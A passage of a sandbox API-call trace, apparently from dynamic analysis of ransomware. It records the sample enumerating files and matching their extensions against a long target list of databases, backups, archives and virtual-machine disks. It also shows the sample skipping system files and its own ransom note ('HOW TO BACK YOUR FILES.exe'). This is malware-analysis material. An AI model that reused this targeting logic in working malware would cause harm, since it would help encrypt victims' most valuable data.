	[0066.047] lstrlenW (lpString="dbc") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0066.047] lstrlenW (lpString="dbs") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0066.047] lstrlenW (lpString="dbt") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0066.047] lstrlenW (lpString="dbv") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0066.047] lstrlenW (lpString="dbx") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0066.047] lstrlenW (lpString="dcb") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0066.047] lstrlenW (lpString="dct") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0066.047] lstrlenW (lpString="dcx") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0066.047] lstrlenW (lpString="ddl") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0066.047] lstrlenW (lpString="dlis") returned 4
	[0066.047] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0066.047] lstrlenW (lpString="dp1") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0066.047] lstrlenW (lpString="dqy") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0066.047] lstrlenW (lpString="dsk") returned 3
	[0066.047] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0066.048] lstrlenW (lpString="dsn") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0066.048] lstrlenW (lpString="dtsx") returned 4
	[0066.048] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1
	[0066.048] lstrlenW (lpString="dxl") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0066.048] lstrlenW (lpString="eco") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0066.048] lstrlenW (lpString="ecx") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0066.048] lstrlenW (lpString="edb") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0066.048] lstrlenW (lpString="epim") returned 4
	[0066.048] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1
	[0066.048] lstrlenW (lpString="fcd") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0066.048] lstrlenW (lpString="fdb") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0066.048] lstrlenW (lpString="fic") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0066.048] lstrlenW (lpString="flexolibrary") returned 12
	[0066.048] lstrcmpiW (lpString1="ns.proxy.dll", lpString2="flexolibrary") returned 1
	[0066.048] lstrlenW (lpString="fm5") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0066.048] lstrlenW (lpString="fmp") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0066.048] lstrlenW (lpString="fmp12") returned 5
	[0066.048] lstrcmpiW (lpString1="y.dll", lpString2="fmp12") returned 1
	[0066.048] lstrlenW (lpString="fmpsl") returned 5
	[0066.048] lstrcmpiW (lpString1="y.dll", lpString2="fmpsl") returned 1
	[0066.048] lstrlenW (lpString="fol") returned 3
	[0066.048] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0066.048] lstrlenW (lpString="fp3") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0066.049] lstrlenW (lpString="fp4") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0066.049] lstrlenW (lpString="fp5") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0066.049] lstrlenW (lpString="fp7") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0066.049] lstrlenW (lpString="fpt") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0066.049] lstrlenW (lpString="frm") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0066.049] lstrlenW (lpString="gdb") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0066.049] lstrlenW (lpString="gdb") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0066.049] lstrlenW (lpString="grdb") returned 4
	[0066.049] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1
	[0066.049] lstrlenW (lpString="gwi") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0066.049] lstrlenW (lpString="hdb") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0066.049] lstrlenW (lpString="his") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0066.049] lstrlenW (lpString="ib") returned 2
	[0066.049] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0066.049] lstrlenW (lpString="idb") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0066.049] lstrlenW (lpString="ihx") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0066.049] lstrlenW (lpString="itdb") returned 4
	[0066.049] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1
	[0066.049] lstrlenW (lpString="itw") returned 3
	[0066.049] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0066.050] lstrlenW (lpString="jet") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0066.050] lstrlenW (lpString="jtx") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0066.050] lstrlenW (lpString="kdb") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0066.050] lstrlenW (lpString="kexi") returned 4
	[0066.050] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1
	[0066.050] lstrlenW (lpString="kexic") returned 5
	[0066.050] lstrcmpiW (lpString1="y.dll", lpString2="kexic") returned 1
	[0066.050] lstrlenW (lpString="kexis") returned 5
	[0066.050] lstrcmpiW (lpString1="y.dll", lpString2="kexis") returned 1
	[0066.050] lstrlenW (lpString="lgc") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0066.050] lstrlenW (lpString="lwx") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0066.050] lstrlenW (lpString="maf") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0066.050] lstrlenW (lpString="maq") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0066.050] lstrlenW (lpString="mar") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0066.050] lstrlenW (lpString="marshal") returned 7
	[0066.050] lstrcmpiW (lpString1="oxy.dll", lpString2="marshal") returned 1
	[0066.050] lstrlenW (lpString="mas") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0066.050] lstrlenW (lpString="mav") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0066.050] lstrlenW (lpString="maw") returned 3
	[0066.050] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0066.050] lstrlenW (lpString="mdbhtml") returned 7
	[0066.050] lstrcmpiW (lpString1="oxy.dll", lpString2="mdbhtml") returned 1
	[0066.050] lstrlenW (lpString="mdn") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0066.051] lstrlenW (lpString="mdt") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0066.051] lstrlenW (lpString="mfd") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0066.051] lstrlenW (lpString="mpd") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0066.051] lstrlenW (lpString="mrg") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0066.051] lstrlenW (lpString="mud") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0066.051] lstrlenW (lpString="mwb") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0066.051] lstrlenW (lpString="myd") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0066.051] lstrlenW (lpString="ndf") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0066.051] lstrlenW (lpString="nnt") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0066.051] lstrlenW (lpString="nrmlib") returned 6
	[0066.051] lstrcmpiW (lpString1="xy.dll", lpString2="nrmlib") returned 1
	[0066.051] lstrlenW (lpString="ns2") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0066.051] lstrlenW (lpString="ns3") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0066.051] lstrlenW (lpString="ns4") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0066.051] lstrlenW (lpString="nsf") returned 3
	[0066.051] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0066.051] lstrlenW (lpString="nv") returned 2
	[0066.051] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0066.051] lstrlenW (lpString="nv2") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0066.052] lstrlenW (lpString="nwdb") returned 4
	[0066.052] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1
	[0066.052] lstrlenW (lpString="nyf") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0066.052] lstrlenW (lpString="odb") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0066.052] lstrlenW (lpString="odb") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0066.052] lstrlenW (lpString="oqy") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0066.052] lstrlenW (lpString="ora") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0066.052] lstrlenW (lpString="orx") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0066.052] lstrlenW (lpString="owc") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0066.052] lstrlenW (lpString="p96") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0066.052] lstrlenW (lpString="p97") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0066.052] lstrlenW (lpString="pan") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0066.052] lstrlenW (lpString="pdb") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0066.052] lstrlenW (lpString="pdm") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0066.052] lstrlenW (lpString="pnz") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0066.052] lstrlenW (lpString="qry") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0066.052] lstrlenW (lpString="qvd") returned 3
	[0066.052] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0066.052] lstrlenW (lpString="rbf") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0066.053] lstrlenW (lpString="rctd") returned 4
	[0066.053] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1
	[0066.053] lstrlenW (lpString="rod") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0066.053] lstrlenW (lpString="rodx") returned 4
	[0066.053] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1
	[0066.053] lstrlenW (lpString="rpd") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0066.053] lstrlenW (lpString="rsd") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0066.053] lstrlenW (lpString="sas7bdat") returned 8
	[0066.053] lstrcmpiW (lpString1="roxy.dll", lpString2="sas7bdat") returned -1
	[0066.053] lstrlenW (lpString="sbf") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0066.053] lstrlenW (lpString="scx") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0066.053] lstrlenW (lpString="sdb") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0066.053] lstrlenW (lpString="sdc") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0066.053] lstrlenW (lpString="sdf") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0066.053] lstrlenW (lpString="sis") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0066.053] lstrlenW (lpString="spq") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0066.053] lstrlenW (lpString="te") returned 2
	[0066.053] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0066.053] lstrlenW (lpString="teacher") returned 7
	[0066.053] lstrcmpiW (lpString1="oxy.dll", lpString2="teacher") returned -1
	[0066.053] lstrlenW (lpString="tmd") returned 3
	[0066.053] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0066.054] lstrlenW (lpString="tps") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0066.054] lstrlenW (lpString="trc") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0066.054] lstrlenW (lpString="trc") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0066.054] lstrlenW (lpString="trm") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0066.054] lstrlenW (lpString="udb") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0066.054] lstrlenW (lpString="udl") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0066.054] lstrlenW (lpString="usr") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0066.054] lstrlenW (lpString="v12") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0066.054] lstrlenW (lpString="vis") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0066.054] lstrlenW (lpString="vpd") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0066.054] lstrlenW (lpString="vvv") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0066.054] lstrlenW (lpString="wdb") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0066.054] lstrlenW (lpString="wmdb") returned 4
	[0066.054] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1
	[0066.054] lstrlenW (lpString="wrk") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0066.054] lstrlenW (lpString="xdb") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0066.054] lstrlenW (lpString="xld") returned 3
	[0066.054] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0066.054] lstrlenW (lpString="xmlff") returned 5
	[0066.055] lstrcmpiW (lpString1="y.dll", lpString2="xmlff") returned 1
	[0066.055] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="..") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="windows") returned -1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="bootmgr") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="temp") returned -1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="pagefile.sys") returned -1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="boot") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="ids.txt") returned 1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="ntuser.dat") returned -1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="perflogs") returned -1
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="MSBuild") returned -1
	[0066.055] lstrlenW (lpString="MIMEDIR.DLL") returned 11
	[0066.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.sharepoint.workflowactions.proxy.dll") returned 89
	[0066.055] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MIMEDIR.DLL" | out: lpString1="MIMEDIR.DLL") returned="MIMEDIR.DLL"
	[0066.055] lstrlenW (lpString="MIMEDIR.DLL") returned 11
	[0066.055] lstrlenW (lpString="Apollon865") returned 10
	[0066.055] lstrcmpiW (lpString1="IMEDIR.DLL", lpString2="Apollon865") returned 1
	[0066.055] lstrlenW (lpString=".dll") returned 4
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".dll") returned 1
	[0066.055] lstrlenW (lpString=".lnk") returned 4
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".lnk") returned 1
	[0066.055] lstrlenW (lpString=".ini") returned 4
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".ini") returned 1
	[0066.055] lstrlenW (lpString=".sys") returned 4
	[0066.055] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".sys") returned 1
	[0066.055] lstrlenW (lpString="MIMEDIR.DLL") returned 11
	[0066.055] lstrlenW (lpString="bak") returned 3
	[0066.055] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1
	[0066.055] lstrlenW (lpString="ba_") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1
	[0066.056] lstrlenW (lpString="dbb") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1
	[0066.056] lstrlenW (lpString="vmdk") returned 4
	[0066.056] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1
	[0066.056] lstrlenW (lpString="rar") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1
	[0066.056] lstrlenW (lpString="zip") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1
	[0066.056] lstrlenW (lpString="tgz") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1
	[0066.056] lstrlenW (lpString="vbox") returned 4
	[0066.056] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1
	[0066.056] lstrlenW (lpString="vdi") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1
	[0066.056] lstrlenW (lpString="vhd") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1
	[0066.056] lstrlenW (lpString="vhdx") returned 4
	[0066.056] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1
	[0066.056] lstrlenW (lpString="avhd") returned 4
	[0066.056] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1
	[0066.056] lstrlenW (lpString="db") returned 2
	[0066.056] lstrcmpiW (lpString1="LL", lpString2="db") returned 1
	[0066.056] lstrlenW (lpString="db2") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1
	[0066.056] lstrlenW (lpString="db3") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1
	[0066.056] lstrlenW (lpString="dbf") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1
	[0066.056] lstrlenW (lpString="mdf") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1
	[0066.056] lstrlenW (lpString="mdb") returned 3
	[0066.056] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1
	[0066.057] lstrlenW (lpString="sql") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1
	[0066.057] lstrlenW (lpString="sqlite") returned 6
	[0066.057] lstrcmpiW (lpString1="IR.DLL", lpString2="sqlite") returned -1
	[0066.057] lstrlenW (lpString="sqlite3") returned 7
	[0066.057] lstrcmpiW (lpString1="DIR.DLL", lpString2="sqlite3") returned -1
	[0066.057] lstrlenW (lpString="sqlitedb") returned 8
	[0066.057] lstrcmpiW (lpString1="EDIR.DLL", lpString2="sqlitedb") returned -1
	[0066.057] lstrlenW (lpString="xml") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1
	[0066.057] lstrlenW (lpString="$er") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1
	[0066.057] lstrlenW (lpString="4dd") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1
	[0066.057] lstrlenW (lpString="4dl") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1
	[0066.057] lstrlenW (lpString="^^^") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1
	[0066.057] lstrlenW (lpString="abs") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1
	[0066.057] lstrlenW (lpString="abx") returned 3
	[0066.057] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1
	[0066.057] lstrlenW (lpString="accdb") returned 5
	[0066.057] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1
	[0066.057] lstrlenW (lpString="accdc") returned 5
	[0066.057] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1
	[0066.057] lstrlenW (lpString="accde") returned 5
	[0066.057] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1
	[0066.057] lstrlenW (lpString="accdr") returned 5
	[0066.057] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1
	[0066.057] lstrlenW (lpString="accdt") returned 5
	[0066.057] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1
	[0066.057] lstrlenW (lpString="accdw") returned 5
	[0066.058] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1
	[0066.058] lstrlenW (lpString="accft") returned 5
	[0066.058] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1
	[0066.058] lstrlenW (lpString="adb") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0066.058] lstrlenW (lpString="adb") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1
	[0066.058] lstrlenW (lpString="ade") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1
	[0066.058] lstrlenW (lpString="adf") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1
	[0066.058] lstrlenW (lpString="adn") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1
	[0066.058] lstrlenW (lpString="adp") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1
	[0066.058] lstrlenW (lpString="alf") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1
	[0066.058] lstrlenW (lpString="ask") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1
	[0066.058] lstrlenW (lpString="btr") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1
	[0066.058] lstrlenW (lpString="cat") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1
	[0066.058] lstrlenW (lpString="cdb") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1
	[0066.058] lstrlenW (lpString="ckp") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1
	[0066.058] lstrlenW (lpString="cma") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1
	[0066.058] lstrlenW (lpString="cpd") returned 3
	[0066.058] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1
	[0066.058] lstrlenW (lpString="dacpac") returned 6
	[0066.058] lstrcmpiW (lpString1="IR.DLL", lpString2="dacpac") returned 1
	[0066.058] lstrlenW (lpString="dad") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1
	[0066.059] lstrlenW (lpString="dadiagrams") returned 10
	[0066.059] lstrcmpiW (lpString1="IMEDIR.DLL", lpString2="dadiagrams") returned 1
	[0066.059] lstrlenW (lpString="daschema") returned 8
	[0066.059] lstrcmpiW (lpString1="EDIR.DLL", lpString2="daschema") returned 1
	[0066.059] lstrlenW (lpString="db-journal") returned 10
	[0066.059] lstrcmpiW (lpString1="IMEDIR.DLL", lpString2="db-journal") returned 1
	[0066.059] lstrlenW (lpString="db-shm") returned 6
	[0066.059] lstrcmpiW (lpString1="IR.DLL", lpString2="db-shm") returned 1
	[0066.059] lstrlenW (lpString="db-wal") returned 6
	[0066.059] lstrcmpiW (lpString1="IR.DLL", lpString2="db-wal") returned 1
	[0066.059] lstrlenW (lpString="dbc") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1
	[0066.059] lstrlenW (lpString="dbs") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1
	[0066.059] lstrlenW (lpString="dbt") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1
	[0066.059] lstrlenW (lpString="dbv") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1
	[0066.059] lstrlenW (lpString="dbx") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1
	[0066.059] lstrlenW (lpString="dcb") returned 3
	[0066.059] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1
	[0066.059] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="misc.exe" | out: lpString1="misc.exe") returned="misc.exe"
	[0066.059] lstrlenW (lpString="misc.exe") returned 8
	[0066.059] lstrlenW (lpString="Apollon865") returned 10
	[0066.059] lstrlenW (lpString=".dll") returned 4
	[0066.059] lstrcmpiW (lpString1="misc.exe", lpString2=".dll") returned 1
	[0066.059] lstrlenW (lpString=".lnk") returned 4
	[0066.060] lstrcmpiW (lpString1="misc.exe", lpString2=".lnk") returned 1
	[0066.060] lstrlenW (lpString=".ini") returned 4
	[0066.060] lstrcmpiW (lpString1="misc.exe", lpString2=".ini") returned 1
	[0066.060] lstrlenW (lpString=".sys") returned 4
	[0066.060] lstrcmpiW (lpString1="misc.exe", lpString2=".sys") returned 1
	[0066.060] lstrlenW (lpString="misc.exe") returned 8
	[0066.060] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="MLCFG32.CPL" | out: lpString1="MLCFG32.CPL") returned="MLCFG32.CPL"
	[0066.060] lstrlenW (lpString="MLCFG32.CPL") returned 11
	[0066.060] lstrlenW (lpString="Apollon865") returned 10
	[0066.060] lstrcmpiW (lpString1="LCFG32.CPL", lpString2="Apollon865") returned 1
	[0066.060] lstrlenW (lpString=".dll") returned 4
	[0066.060] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".dll") returned 1
	[0066.060] lstrlenW (lpString=".lnk") returned 4
	[0066.060] lstrcmpiW (lpString1="MLCFG32.CPL", lpString2=".lnk") returned 1
	[0066.060] lstrlenW (lpString=".ini") returned 4
